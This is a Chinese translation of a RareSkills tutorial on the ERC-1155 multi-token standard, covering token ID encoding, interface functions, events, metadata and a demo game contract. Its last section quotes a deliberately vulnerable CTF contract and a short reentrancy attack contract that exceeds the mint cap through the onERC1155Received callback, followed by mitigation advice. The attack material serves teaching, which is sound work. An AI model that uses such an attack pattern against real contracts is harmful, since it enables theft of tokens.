详解 ERC-1155 多代币标准
- 原文链接:www.rareskills.io/post...
- 译者:AI翻译官,校对:翻译小组
- 本文链接:learnblockchain.cn/article…
ERC-1155 标准描述了如何创建可替代和不可替代的代币,并将它们整合到一个智能合约中。当涉及多个代币时,这可以节省大量的部署成本。
想象一下,你是一名游戏开发者,试图将 NFT 和 ERC-20 代币整合到你的平台中,代表各种类型的资产,如鞋子、剑、帽子和游戏内货币。
使用像 ERC-721 和 ERC-20 这样的标准将要求你为每个 NFT 和 ERC-20 的集合开发多个代币合约。部署所有这些合约将是昂贵的。
如果你可以在一个合约中定义和管理所有的 NFT 资产和代币,那不是很方便吗?然后,你甚至可以创建一个机制来一次性批准或转移多个 NFT。
这个用例就是为什么 Enjin,一个 NFT 和游戏开发组织,向以太坊的 Github 仓库提交了 ERC-1155 多代币标准的第一个提案。在 2018 年 6 月 17 日,Enjin 的 ERC-1155 代币标准被以太坊基金会正式采纳。
为了在单个合约中处理多种类型的代币(可替代和/或不可替代),ERC-1155 实现必须使用唯一的 uint256
代币 ID 来区分每种代币类型。这允许合约为每个代币定义独特的属性,如总供应量、URI、名称、符号等,并确保每个代币的配置彼此独立。
以下是 ERC-1155 代币 ID 结构的示例:
代币 ID 不必是连续的。它们只需是唯一的。标准并未规定代币 ID 应如何创建,因此 “铸造”函数并不是规范的一部分。
以下是可替代和不可替代代币的定义;ERC-1155 支持两者。
可替代
这些代币彼此相同,如货币单位。要在 ERC-1155 中定义可替代代币集,你只需为给定的代币 ID 铸造多个代币。
当每个代币共享相同的 ID 时,它们也将具有相同的名称和符号。这将使代币以与 ERC-20 相同的方式运作,因为它将具有多个相同的单位,使用相同的名称和符号。与 ERC-20 不同的是,没有小数来解释可替代代币的数量。所有可替代代币余额以整数单位表示。
不可替代
ERC-1155 中的不可替代代币(NFT)是独特的代币,每个代币与其他代币不同。这些代币通过为每个独特项目分配其自己的代币 ID 来表示,该 ID 是一个唯一的 uint256
值。
在单个 ERC-1155 合约中管理多个 NFT 集合时,分配随机唯一的代币 ID 可能会使识别特定代币 ID 属于哪个集合变得具有挑战性。
为了解决这个问题,一个解决方案是以一种方式构造代币 ID,使得 ID 编码了集合和单个项目的信息:我们只需将两个数字连接在一起,连接形成的数字就是 ID。
以下是实现方法:
我们将 uint256
代币 ID 分为两部分:
这种方案使我们能够轻松识别代币 ID 属于哪个集合,以及它在该集合中的哪个项目。所有不可替代代币将通过这种编码彼此不同。
下图显示了代币 ID 被分为集合 ID(X
值)和项目 ID(Y
值):
为了将集合和项目信息编码到单个 uint256
代币 ID 中,我们可以使用位移和加法操作。
位移
位移是将零位添加到位序列的开头或结尾的过程,基本上是将现有位向左(Solidity 操作 <<
)或向右(>>
)移动。
通过位移,我们可以将一个 128 位数字“注入”到 256 位数字的最重要的 128 位中。默认情况下,如果我们将一个 128 位数字转换为 256 位数字,128 位数字将位于最不重要的 128 位中。
考虑这个表示十进制数字 2
的 256 位(或 32 字节)值,向左移动 128 位(或 16 字节):
https://img.learnblockchain.cn/2025/mp4/movie-bitshift-only.mp4
在将十进制值 2
向左移动 128 位(2 << 128
)后,我们得到新的十进制值 680564733841876926926749214863536422912
或 0x0000000000000000000000000000000200000000000000000000000000000000
以十六进制表示。
使用这种位移技术,我们能够用零填充最不重要的 128 位。由于 NFT ID 存储为 uint256
类型,我们可以将 项目 ID
添加到 位移的集合 ID
。以下是一个简单的公式来说明这一点:
uint256 token_ID = shifted_collection_id + individual_token_id
以下动画展示了位移和加法操作在后台是如何发生的:
https://img.learnblockchain.cn/2025/mp4/movie-bitshift-add.mp4
想象这个场景,一个 ERC-1155 合约有两个不同的不可替代代币集合:CoolPhotos 和 RareSkills,分别具有 collectionID
1 和 2。如果 Bob 想检查他是否拥有来自 RareSkills 集合的 itemID
7 的项目,则用于此检查的有效代币 ID 将是 collectionID
和 itemID
的组合:
$$
\texttt{0x\textcolor{orange}{00000000000000000000000000000002}\textcolor{lightgreen}{00000000000000000000000000000007}}
$$
其中橙色位表示 RareSkills 集合 ID,绿色位表示该集合的项目 ID。
以下是上述示例中的 ERC-1155 合约可能如何存储和检索给定代币 ID 的账户余额:
// 嵌套映射以存储余额
// tokenID => owner => balance
mapping(uint256 => mapping(address => uint256)) balances;
// 检索特定代币 ID 的地址余额
function balanceOf(address owner, uint256 tokenid) public view returns (uint256) {
return balances[tokenid][owner];
}
使用上述代码,Bob 可以调用 balanceOf
函数,使用代币 ID (2 << 128) + 7
来检查他的所有权:
uint256 rareSkillsTokenCollectionID = 2 << 128; // collection id is 2
uint256 rsNFT = 7; // item id
// 如果 Bob 拥有传递的 tokenid,则返回 1,否则返回 0
uint256 bobBalance = balanceOf(
address(Bob),
rareSkillsTokenCollectionID + rsNFT // (2 << 128) + 7
);
如果 bobBalance = 1
,则 Bob 拥有来自 RareSkills 集合的 itemID
7 的项目。至关重要的是,合约必须强制该代币的总供应量不能超过 1,否则该代币将变为可替代代币而不是不可替代代币。
我们之前讨论了使用位移方法唯一计算代币 ID。要反转此过程并从 tokenId
获取 collectionId
和 itemId
,我们将 tokenId
向右移动 128 位以检索 collectionId
,并将 tokenId
转换为 128 位以获得 itemId
。
以下是计算的示例代码:
contract A {
// 1. 计算代币 ID
function getTokenId(
uint256 collectionId,
uint256 itemId
) public pure returns (bytes32 tokenId) {
// 将集合 ID 左移 128 位
uint256 shiftedCollectionId = collectionId << 128;
// 将 item ID 加到移位后的集合 ID 上
tokenId = bytes32(shiftedCollectionId + itemId);
}
// 2. 获取集合 ID 和 item ID
function getCollectionIdAndItemId(
uint256 tokenId
) public pure returns (uint256 collectionId, uint256 itemId) {
// 将代币 ID 右移 128 位
collectionId = tokenId >> 128;
// 将代币 ID 转换为 128
itemId = uint128(tokenId);
}
}
来自 Remix 的屏幕截图,显示了两个函数的测试代码:
结构化代币 ID 技术是一种实现多个非同质化代币与 ERC1155 的方法,因为该标准并未规定必须如何实现。然而,有一种名为 ERC1155D 的 ERC1155 实现,它是对原始标准的迭代,旨在优化铸造非同质化代币的 gas 效率,如果合约只需要支持单个 NFT 集合。
ERC-1155D 专为非同质化代币(与 ERC-721 相同)设计,其中每个代币都有唯一的标识符和唯一的拥有者。它与 ERC-1155 完全向后兼容。
何时使用 ERC1155D?
当你在合约中不需要多个非同质化代币集合(如 CoolPhotos RareSkills 示例)时,使用 ERC1155D,同时强制代币的供应量为 1,并且最多只有一个拥有者。
总之,所有代币都在单个合约下管理,使用 uint256
值作为代币 ID。然而,特定代币 ID 如何分配给不同类型的代币完全取决于合约的用例。
这些是实现 ERC1155 标准的合约必须实现的 ERC1155 接口中的函数。每个函数的代码片段来自标准的规范。
balanceOf
在 ERC-721 中,balanceOf(address _owner)
返回整个代币 ID 集合的地址余额。因此,如果一个地址拥有代币 1、5 和 7,则该地址的 balanceOf(address _owner)
将返回 3
。
然而,在 ERC-1155 中,balanceOf
函数的结构是为了检索特定代币 ID 对于特定账户地址的代币余额。
/**
@notice 获取账户代币的余额。
@param _owner 代币持有者的地址
@param _id 代币的 ID
@return 请求的代币类型的 _owner 的余额
*/
function balanceOf(address _owner,uint256 _id) external view returns (uint256);
一个地址可以持有不同数量的各种代币 ID,例如 1 个代币 ID 1,20 个代币 ID 5 等等。然而,在 ERC-1155 合约中,没有直接的方法来衡量一个地址在所有代币 ID 中拥有的代币总数,因为 balanceOf
函数的设计仅用于检查 你拥有的特定 tokenID 的数量,而不是你在整个合约中拥有的 tokenIDs 的数量。
balanceOfBatch
还存在一种批量机制,称为 balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
。此方法通过循环调用 balanceOf
一次性检索每个地址每个 ID 的多个余额。
/**
@notice 获取多个账户/代币对的余额
@param _owners 代币持有者的地址
@param _ids 代币的 ID
@return 请求的代币类型的 _owner 的余额(即每个 (owner, id) 对的余额)
*/
function balanceOfBatch(
address[] calldata _owners,
uint256[] calldata _ids
) external view returns (uint256[] memory);
ERC-1155 不支持列出所有现有代币 ID 的机制。
要获取 1155 合约的所有现有 ID,我们必须解析链下的日志(稍后我们将展示如何做到这一点)。
ERC-1155 允许所有者通过调用 setApprovalForAll(address _operator, bool _approved)
方法在单个交易中授予操作员管理其所有代币的权限。此函数接受操作员的 address
和表示批准状态的 bool
作为参数:
/**
@notice 启用或禁用第三方(“操作员”)管理调用者所有代币的批准。
@dev 成功时必须发出 ApprovalForAll 事件。
@param _operator 要添加到授权操作员集合的地址
@param _approved 如果操作员被批准则为真,撤销批准则为假
*/
function setApprovalForAll(address _operator,bool _approved) external;
请注意,此方法实际上批准用户在 ERC-1155 合约中拥有的所有内容。这就像为 ERC-20 设置最大批准并为 ERC-721 调用 setApprovalForAll。操作员可以转移 ERC-1155 合约中所有者的任何代币,无论数量多少。
遵循 ERC-721 模式,ERC-1155 还具有 “安全转移”机制,该机制检查确保代币的接收者是有效的接收者。实际上,ERC-1155 仅支持安全转移。
/**
@param _from 来源地址
@param _to 目标地址
@param _id 代币类型的 ID
@param _value 转账金额
@param _data 附加数据,格式不指定,必须以原样发送到 `_to` 的 `onERC1155Received` 调用中
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _value,
bytes calldata _data) external;
如果接收方是一个 EOA,那么 safeTransferFrom
会检查地址是否不是零地址。如果接收方是一个智能合约,则会调用 onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data)
回调函数,并期望返回魔法值 bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))
。
一个 ERC-1155 代币不能转移到一个未实现 onERC1155Received
或错误实现 onERC1155Received
的智能合约。
/**
@param _from 来源地址
@param _to 目标地址
@param _ids 每种代币类型的 ID(顺序和长度必须与 _values 数组匹配)
@param _values 每种代币类型的转账金额(顺序和长度必须与 _ids 数组匹配)
@param _data 附加数据,格式不指定,必须以原样发送到 `_to` 的 `ERC1155TokenReceiver` 钩子中
*/
function safeBatchTransferFrom(
address _from,
address _to,
uint256[] calldata _ids,
uint256[] calldata _values,
bytes calldata _data) external;
此外,该标准允许所有者和操作员执行批量转账。可以在一个交易中将多组代币从源地址转移到目标地址。
批量转账可以通过调用:
* `safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data)`,
* 它将调用接收方的 `onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data)` 回调
* 并期望返回魔法值 `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`。
**SafeTransferFrom vs SafeBatchTransferFrom**
使用 OpenZeppelin 的 ERC1155 实现,下面的图像比较了调用 `safeTransferFrom` 三次与将转账批量处理为一次交易的 gas 使用情况:
![Gas benchmark of SafeTransferFrom and SafeBatchTransferFrom](https://img.learnblockchain.cn/attachments/migrate/1736159466415)
使用 safeBatchTransferFrom
,如红框所示,消耗 132,437 gas,这显著低于蓝框中三个独立 safeTransferFrom
调用所使用的 189,861 gas。
ERC-1155 实现通常使用映射来保存核心数据的状态,例如前述的余额、批准和 URI。例如,ERC-1155 可以使用以下存储变量:
mapping(uint256 id => mapping(address account => uint256 balance)) internal _balances;
mapping(address account => mapping(address operator => bool isApproved)) internal _operatorApprovals;
string private _uri;
让我们在接下来的部分中检查每个数据结构。
余额存储在一个具有两个级别的嵌套映射中。外部映射的键表示 token ID
,指向另一个将 address
(所有者)映射到 _balances
的映射。
为了返回该结构下给定代币的账户余额,balanceOf
实现将以如下方式访问值:
function balanceOf(address account, uint256 id) public view returns (uint256) {
return _balances[id][account];
}
类似地,批准存储在一个嵌套映射中,因为一个账户可以授予多个操作员批准。外部映射的键是所有者,指向一个映射,该映射将操作员映射到他们的批准状态。
考虑以下 isApprovedForAll
函数的示例实现,通过它访问批准状态:
function isApprovedForAll(address account, address operator) public view returns (bool) {
return _operatorApprovals[account][operator];
}
ERC-1155 标准保证通过观察智能合约发出的事件日志,可以创建所有当前代币余额的准确记录,因为每次代币铸造、销毁和转移都被记录。
必须发出事件的场景列表如下:
ApprovalForAll
事件: event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
TransferSingle
或 TransferBatch
事件。 // 当单个代币转移时发出
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
// 当一批代币转移时发出
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
如果调用 safeBatchTransferFrom
函数时使用了单个 tokenID,则会发出 TransferSingle
事件,否则会发出 TransferBatch
事件。
URI
事件: event URI(string _value, uint256 indexed _id);
随着这些事件在与之相关的函数调用时被记录/发出,我们可以在 JavaScript 中获取以下离线信息:
1155 合约的现有代币 ID:
下面的代码使用 ethers.js 库与 ERC-1155 合约进行交互,并在指定的区块范围内获取在 TransferSingle
和 TransferBatch
事件中发出的所有代币 ID 的列表。
import { ethers } from "ethers"; // v6
// 连接到以太坊提供者
const provider = new ethers.JsonRpcProvider("rpc-url");
// ERC-1155 合约地址和 ABI
const erc1155ContractAddress = "YourContractAddress";
const abi = [
/* ERC-1155 ABI 这里 */
"event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value)",
"event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values)",
];
const contract = new ethers.Contract(erc1155ContractAddress, abi, provider);
(async (startBlockNumber) => {
// Fetch TransferSingle
and TransferBatch
events
const singleEvents = await erc1155ContractInstance.queryFilter(
"TransferSingle", // event
startBlockNumber, // start block
startBlockNumber + 100000, // end block
);
const batchEvents = await erc1155ContractInstance.queryFilter(
"TransferBatch", // event
startBlockNumber, // start block
startBlockNumber + 100000, // end block
);
const tokenIds = new Set();
// Get token IDs from TransferSingle events
singleEvents.forEach((event) => {
// Destructure the args
field
const { operator, from, to, id, value } = event.args;
// Add `id` to the `tokenIds` set
tokenIds.add(id);
});
// Get token IDs from TransferBatch events
batchEvents.forEach((event) => {
// Destructure the args
field
const { operator, from, to, ids, values } = event.args;
// Loop through `ids` then add `id` to the `tokenIds` set
ids.forEach((id) => tokenIds.add(id.toString()));
});
console.log("Token IDs in existence:", Array.from(tokenIds)); })();
* **用户拥有的所有代币 ID:**
以下代码列出用户拥有的所有 ID。它通过跟踪转移事件 `to` 和 `from` 来实现。为了确保准确,`startBlockNumber` 需要在该地址的最早交互之前设置。
```javascript
async function getUserTokenIds(userAddress, startBlockNumber) {
const singleEvents = await erc1155ContractInstance.queryFilter('TransferSingle', startBlockNumber, startBlockNumber + 100000);
const batchEvents = await erc1155ContractInstance.queryFilter('TransferBatch', startBlockNumber, startBlockNumber + 100000);
const balances = {};
// Process TransferSingle events
singleEvents.forEach(event => {
const { operator, from, to, id, value } = event.args;
if (to.toLowerCase() === userAddress.toLowerCase()) {
balances[id] = (balances[id] || 0) + parseInt(value.toString());
}
if (from.toLowerCase() === userAddress.toLowerCase()) {
balances[id] = (balances[id] || 0) - parseInt(value.toString());
}
});
// Process TransferBatch events
batchEvents.forEach(event => {
const { operator, from, to, ids, values } = event.args;
ids.forEach((id, index) => {
const value = parseInt(values[index].toString());
if (to.toLowerCase() === userAddress.toLowerCase()) {
balances[id] = (balances[id] || 0) + value;
}
if (from.toLowerCase() === userAddress.toLowerCase()) {
balances[id] = (balances[id] || 0) - value;
}
});
});
// Filter out IDs with a balance greater than zero
const ownedTokenIds = Object.keys(balances).filter(id => balances[id] > 0);
console.log(ownedTokenIds);
}
ERC-1155 仅有一个 uri
函数,如标准所规定。该标准并未规定 uri
函数是否应使用或忽略代币 ID。如何获取 uri 取决于合约的实现。例如,如果合约实现需要共享 URI,我们可以忽略 id 直接返回基础 uri _uri
,否则,我们可以对代币 ID 和基础 uri 进行编码。
代币 ID 的共享 URI 的示例实现:
string private _uri;
function uri(uint256 /* id */) public view virtual returns (string memory) {
return _uri;
}
以上 uri
函数将始终返回相同的 URI,忽略代币 ID。
每个代币 ID 唯一 URI 的示例实现:
如果我们希望根据代币 ID 更改返回的字符串,Strings
库将非常有用,但它不是 Solidity 的本地库,而是 OpenZeppelin Strings library 的一部分。在下面的示例实现中,它用于将一个 uint256 的 tokenID
转换为编码为 Solidity 字符串的十六进制数。
下面是如何使用 Strings
库根据 ID 更改 URI 的示例:
import "@openzeppelin/contracts/utils/Strings.sol";
string private _uri;
function uri(uint256 id) public view virtual returns (string memory) {
return string(abi.encodePacked(
_uri,
Strings.toHexString(id, 32), // Convert tokenId to hex with fixed length
".json"
));
}
uri
函数通过将传入的代币 ID 附加到基础 URI,为每个代币返回唯一的 URI。例如,如果基础 URI 是 https://token-cdn-domain/
,使用代币 ID 314592
(十六进制为 0x4CCE0)调用该函数将返回 https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json
。
该标准要求客户端用实际代币 ID 的十六进制字符串表示替换 {id}
参数(如果存在)。替换的字符串必须是小写字母数字:[0-9a-f],并且没有“0x”前缀,如果需要,前导零填充到 64 个十六进制字符长度。
代币 ID 替换方法通过将传入的代币 ID 附加到基础 uri,减少了存储大量代币的唯一 URI 所需的开销。
URIs 的结构
标准并不要求 ERC-1155 代币必须具有 URI 元数据。然而,如果 ERC-1155 实现合约定义了任何代币的 URI,则必须指向符合“ERC-1155 元数据 URI JSON schema”的 JSON 文件。
该 URI 通常指向一个离线资源,例如一个服务器或 IPFS,其中存储元数据。
ERC-1155 元数据 URI JSON 架构如下所示:
{
"title": "Token Metadata",
"type": "object",
"properties": {
"name": {
"type": "string",
"description": "Identifies the asset to which this token represents"
},
"decimals": {
"type": "integer",
"description": "The number of decimal places that the token amount should display - e.g. 18, means to divide the token amount by 1000000000000000000 to get its user representation."
},
"description": {
"type": "string",
"description": "Describes the asset to which this token represents"
},
"image": {
"type": "string",
"description": "A URI pointing to a resource with mime type image/* representing the asset to which this token represents. Consider making any images at a width between 320 and 1080 pixels and aspect ratio between 1.91:1 and 4:5 inclusive."
},
"properties": {
"type": "object",
"description": "Arbitrary properties. Values may be strings, numbers, object or arrays."
}
}
}
一个符合上述 JSON 元数据架构的汽车 NFT 示例 JSON:
{
"title": "RareSkills Car Metadata",
"type": "object",
"properties": {
"name": "RareSkills Car #1",
"description": "一款具有尖端科技的高性能电动车。",
"image": "https://image-uri/rareskills-car1.png",
"year": 2024,
"topSpeed": "200 mph",
"batteryCapacity": "100 kWh",
"features": ["自动驾驶", "完全自驾", "高级音响系统"],
}
}
title
字段描述了元数据的目的,type
字段指定了元数据的数据格式,properties
字段定义了关于汽车的额外属性或元数据。
支持本地化的客户端可能通过利用 JSON 格式的 ERC-1155 中的 localization
属性来显示多种语言的代币信息(如果存在的话)。
localization
元数据的架构如下:
{
"title": "Token Metadata",
"type": "object",
"properties": {
...
"localization": {
"type": "object",
"required": ["uri", "default", "locales"],
"properties": {
"uri": {
"type": "string",
"description": "用于获取本地化数据的 URI 模式。此 URI 应包含子字符串 `{locale}`,在发送请求之前将被替换为适当的语言环境值。"
},
"default": {
"type": "string",
"description": "基本 JSON 中默认数据的语言环境"
},
"locales": {
"type": "array",
"description": "可用数据的语言环境列表。这些语言环境应符合 Unicode 通用语言环境数据仓库中定义的内容 (http://cldr.unicode.org/)。"
}
}
}
}
}
以下是包含 localization
属性的元数据 JSON 文件示例:
{
"name": "RareSkills Token",
"description": "每个代币代表 RareSkills 社区中的一个独特通行证。",
"properties": {
"localization": {
"uri": "ipfs://xxx/{locale}.json",
"default": "en",
"locales": ["en", "es", "fr"]
}
}
}
locales
属性是一个包含三个元素的数组:en
、es
和 fr
,en
设置为默认语言。数组中的每个元素都有其各自语言的元数据 JSON 文件。
es.json:
{
"name": "RareSkills simbólico",
"description": "每个代币代表 RareSkills 社区中的一个独特通行证。"
}
fr.json:
{
"name": "RareSkills Jeton",
"description": "每个代币代表 RareSkills 社区中的一个独特通行证。"
}
类似于代币 ID 替换,如果 uri
包含字符串 {locale}
,客户端必须将其替换为 locales
数组中定义的可用语言环境之一,然后指向目标语言的元数据 JSON 文件。
获取法语元数据的示例步骤
调用代币 ID 314592
的 uri
函数以获取代币元数据 JSON 的 URI
// 返回的 uri: https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json
2. 从步骤 1 中返回的 uri 中读取 JSON 内容,以获取所需语言的基本 URI
```json
{
"name": "RareSkills Token",
"description": "每个代币代表 RareSkills 社区中的一个独特通行证。",
"properties": {
"localization": {
"uri": "https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/{locale}.json",
"default": "en",
"locales": ["en", "es", "fr"]
}
}
}
localization → uri
字段中用 fr
替换 {locale}
字符串,以获取法语版本的元数据 URI // 法语语言 URI:
// [https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/fr.json](https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json)
在与不受信任的元数据交互时,请务必在解析之前清理结果。前端呈现的任何 JSON 可能是跨站脚本攻击的载体。
ERC-1155 合约得到 OpenSea 的支持,本节展示了 OpenSea 如何解释 ERC-1155 元数据。一个实时示例是来自一个名为 Common Ground World 的区块链游戏:
截至撰写时,Common Ground World 定义了 681 个集合作为游戏内资产,OpenSea 在上面的图像中将其称为“独特物品”(红框)。每个集合中所有资产的总和大约为 9 百万
(绿色框)。
以下是该游戏的一部分集合示例:
水箱 集合的总供应量约为 4,800 件(绿色框),由大约 2,900 个地址(红框)拥有。
请注意,OpenSea 不提供任何给定 ERC-721 代币的总供应信息,因为每个 tokenID 的供应量为一个且恰好有一个所有者。以下是一个随机的由 F15C93
拥有的无聊猿游艇俱乐部 NFT,仅作比较:
通过查看 OpenSea 的详情部分,可以更清楚地看出此代币符合 ERC-1155 标准,见下方红框:
OpenSea 能够通过从代币的元数据中提取数据来显示描述和特征信息,点击 Token ID 可观察到:
{
"decimalPlaces": 0,
"description": "永远不要低估为你的作物提供被动、按需水源的能力。你的农民会感谢你!",
"image": "https://tokens.gala.games/images/sandbox-games/town-star/storage/water-tank.gif",
"name": "水箱",
"properties": {
"category": "存储",
"game": "镇星",
"rarity": {
"hexcode": "#939393",
"icon": "https://tokens.gala.games/images/sandbox-games/rarity/common.png",
"label": "普通",
"supplyLimit": 5159
},
"tokenRun": "storage"
}
}
OpenSea 定义了 元数据标准,以使 URIs 符合要求,从而允许 OpenSea 提取 ERC721 和 ERC1155 资产的链外元数据。
以下是一个简单游戏的 ERC-1155 实现合约示例。它实例化了 OpenZeppelin 的 ERC-1155 抽象合约,并具有额外的函数作为包装器和助手来改变游戏状态:
initializePlayer
:通过铸造由常量 INITIAL_IN_GAME_CURRENCY_BALANCE
定义的数量来初始化玩家账户。mintInGameCurrency
:为特定玩家铸造额外的游戏内货币。mintCar
:允许玩家铸造独特的基于 NFT 的汽车。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract GameAssets is ERC1155 {
uint256 constant TOKEN_ID_IN_GAME_CURRENCY = 0; // 可替代代币 ID
uint256 constant TOKEN_ID_BASE_CAR_COLLECTION = 1; // 非可替代代币 ID
uint256 constant INITIAL_IN_GAME_CURRENCY_BALANCE = 1000;
uint256 constant MINIMUM_AMOUNT = 1500;
uint256 public nextTokenIndex;
constructor(string memory uri) ERC1155(uri) {}
function initializePlayer(address to, bytes memory data) public {
mintInGameCurrency(to, INITIAL_IN_GAME_CURRENCY_BALANCE, data);
}
function mintInGameCurrency(address to, uint256 value, bytes memory data) public {
_mint(to, TOKEN_ID_IN_GAME_CURRENCY, value, data);
}
function mintCar(address player, bytes memory data) public returns (uint256 carId) {
// 确保玩家的代币 ID `TOKEN_ID_IN_GAME_CURRENCY` 的余额
// 大于或等于 `MINIMUM_AMOUNT`
require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");
// 非可替代的魔法
carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;
// 铸造汽车
_mint(player, carId, 1, data);
}
}
注意: 此合约仅用于演示目的,省略了关键的安全特性和优化。
游戏将拥有两种类型的令牌:
当我们部署此合约时,我们的合约地址为 0xCc3958FE4Beb3bcb894c184362486eBEc2E1fD4D
,我们将使用 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
作为玩家地址。
在接下来的几个部分中,我们将演示如何与此合约交互以管理其代币资产。
下方的流程图说明了玩家如何与游戏的 ERC-1155 合约进行交互,包括铸造游戏内货币和汽车。
假设我们希望玩家从 1000
$IGC 开始。有了这个,我们可以通过在合约中调用 initializePlayer
函数来将这些代币铸造给每位玩家。这将把 IGC 的代币 ID(0
)和铸造数量发送到 OpenZeppelin 基合约的 _mint(address to, uint256 id, uint256 value, bytes memory data)
。
这个 _mint
函数是 OpenZeppelin 创建代币的方法,最终会执行接受检查,调用 safeTransferFrom
并发出 TransferSingle
事件(下方蓝框),这是标准所要求的。
在调用 initializePlayer
函数后,我们可以看到以下日志:
在红框中,我们可以看到 TransferSingle
事件被发出,而在绿框中,零地址向我们的玩家地址发送了 1000
单位的游戏内货币(代币 ID 0
)。
随着我们的玩家完成任务,我们希望用更多的 $IGC 奖励他们。我们可以在游戏合约中调用 mintInGameCurrency
函数,这将调用 OpenZeppelin 的 _mint
函数,指定我们玩家的地址(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
)、作为奖励的代币金额(500
)以及任何要发送到接收者回调的字节数据(在这种情况下没有数据)。使用这些值调用 mintInGameCurrency
将铸造 500 个 IGC 代币。
当我们通过 balanceOf
检查玩家的 $IGC 余额时:
我们看到我们的玩家现在的余额为 1500
$IGC(初始 + 奖励)。
现在,假设我们希望允许玩家通过拥有最低的 $IGC 余额来铸造汽车。请记住,汽车集合是非可替代的。
首先,我们将为每辆汽车 NFT 定义独特的元数据,其中包含汽车的特征。
例如,我们集合中第一辆汽车的 URI 将是:
https://token-cdn-domain/0000000000000000000000000000000100000000000000000000000000000000.json
其中 id 是:以十进制表示或以十六进制表示
橙色部分表示汽车集合 ID(1
),而绿色部分表示第一辆汽车的代币 ID(0
)。它们共同形成一个指向元数据的唯一 ID,可以是:
{
"name": "超级快速汽车",
"description": "这辆超级快速的汽车与其他汽车不同,它超级快速。",
"image": "https://images.com/{id}.png",
"properties": {
"features": {
"speed": "100",
"color": "blue",
"model": "SuperFast x1000",
"rims": "aluminum"
}
}
}
现在,我们在合约上调用 mintCar
函数来铸造他们的汽车 NFT:
function mintCar(address player, bytes memory data) public returns (uint256 carId) {
// 确保玩家的代币 ID `TOKEN_ID_IN_GAME_CURRENCY` 的余额
// 大于或等于 `MINIMUM_AMOUNT`
require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");
// 非可替代的魔法
carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;
// 铸造汽车
_mint(player, carId, 1, data);
}
carId
变量是非可替代的魔法发生的地方。它通过组合汽车集合 ID 和下一个可用的代币索引(从零开始)来计算每辆汽车 NFT 的唯一代币 ID。
在调用 mintCar
函数后:
正如预期的那样,向玩家的地址铸造了一个汽车 NFT(黄色框)来自 地址零
。
注意: NFT 的 ID(红框)为 340282366920938463463374607431768211456
,这是 (1 << 128) + 0
的结果,其中 1
是汽车集合的基础代币 ID,而 0
是集合内 NFT 的项目 ID。
除了在单个合约中管理可替代代币和不可替代代币外,解决 ERC-1155 合约中的安全漏洞也很重要。一个常见的漏洞是重入攻击,它可以利用铸造或转移过程。
由于在 safeTransferFrom
和 safeBatchTransferFrom
操作中执行的回调函数,使用 ERC-1155 的合约容易受到重入攻击。ERC-1155 本身是安全的,但如果添加像不安全的铸造这样的代码,可能会引入重入问题。
考虑 这个 来自 RareSkills 的 Solidity Riddles CTF 挑战的合约:
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
contract Overmint1_ERC1155 is ERC1155 {
using Address for address;
mapping(address => mapping(uint256 => uint256)) public amountMinted;
mapping(uint256 => uint256) public totalSupply;
constructor() ERC1155("Overmint1_ERC1155") {}
function mint(uint256 id, bytes calldata data) external {
require(amountMinted[msg.sender][id] <= 3, "max 3 NFTs");
totalSupply[id]++;
_mint(msg.sender, id, 1, data);
amountMinted[msg.sender][id]++;
}
function success(address _attacker, uint256 id) external view returns (bool) {
return balanceOf(_attacker, id) == 5;
}
}
注意到 mint
函数试图防止 msg.sender
铸造超过 3
个 NFT。然而,它没有包含重入锁,也没有遵循检查-效果-交互模式,因为它在铸造后检查 msg.sender
已铸造的数量并执行回调。因此,攻击者可以通过在其恶意合约的 onERC1155Received
回调函数中调用 mint
函数来利用这个合约,如下所示的攻击合约所示:
contract AttackOvermint1_ERC1155 {
Overmint1_ERC1155 overmint1_ERC1155;
constructor(Overmint1_ERC1155 _overmint1_ERC1155) {
overmint1_ERC1155 = _overmint1_ERC1155;
}
function attackMint(uint256 id) external {
overmint1_ERC1155.mint(id, "");
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) public returns (bytes4) {
uint256 balance = overmint1_ERC1155.balanceOf(address(this), _id);
if (balance < 5) {
overmint1_ERC1155.mint(1, "");
}
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
}
攻击者首先会在其恶意合约中调用一个函数以启动铸造。这将导致 msg.sender
为攻击者的合约。当 NFT 被铸造时,onERC1155Received
将在攻击者的合约上被调用。该函数检查所需的数量是否已经铸造,如果没有,则重新进入 mint
函数。
对于 ERC-1155 实现合约来说,重要的是通过严格遵循 检查-效果-交互模式和/或实现重入锁 来减轻这种漏洞。
